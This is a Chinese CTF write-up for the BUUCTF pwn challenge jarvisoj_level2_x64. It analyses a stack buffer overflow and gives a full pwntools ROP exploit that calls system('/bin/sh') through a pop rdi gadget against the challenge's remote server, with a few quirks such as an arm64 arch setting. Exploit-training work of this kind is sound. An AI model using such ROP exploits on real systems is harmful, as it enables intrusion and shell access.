BUUCTF-PWN-jarvisoj_level2_x64
jarvisoj_level2_x64
定期刷pwn*2
1.检查
仅仅只是个NX罢了
2.找漏洞
找到入口
0x200,很厚道啊
找到shell和system函数
找到garget来给rdi传参
路线仍然是栈溢出
3.配置问题
这里稍微有了点麻烦。我没有Ubuntu16环境的动态链接库,所以要继续动态调试的话就得去临时配一个。
但题目本身还是很清楚的,也没有开PIE,所以我干脆直接用ida分析好了
4.收集信息
长度 = 0x200
距离rbp = 0x80
system_addr = 0x4004C0
pop_rid_ret = 0x4006b3
shell_addr = 0x600A90
5.exp
from pwn import *
from LibcSearcher import *
import binascii
pwnfile = "./level2_x64"
elf = ELF(pwnfile)
context(log_level=logging.DEBUG,arch='arm64',os='linux')
io=remote("node4.buuoj.cn",25469)
#io = process(pwnfile)
system_addr = 0x4004C0
pop_rid_ret = 0x4006b3
shell_addr = 0x600A90
dem1 = "Input:\n"
nops_1 = 0x80 + 8
payload1 = flat([b'a'*nops_1,pop_rid_ret,shell_addr,system_addr])
io.sendafter(dem1,payload1)
io.interactive()
其实在本地调试的时候也遇到了不少麻烦……虽然思路很明确,但gdb别说附加进程,就连正常运行的无法做到。所幸是个简单的题目,基本上不用调试就知道结果了,否则就只能抓瞎。
6.打
远程还是正常的。
7.总结
题目本身很简单,主要问题应该出在动态链接库版本不对应上,使得gdb直接报废,无法动态调试。
看了一下其他师傅们的wp,都没有出现这个问题。虽然最直接的办法就是换成题目环境的Ubuntu16,ida在配置后也可以进行动调,但以防万一,我需要研究一下更便捷的方式。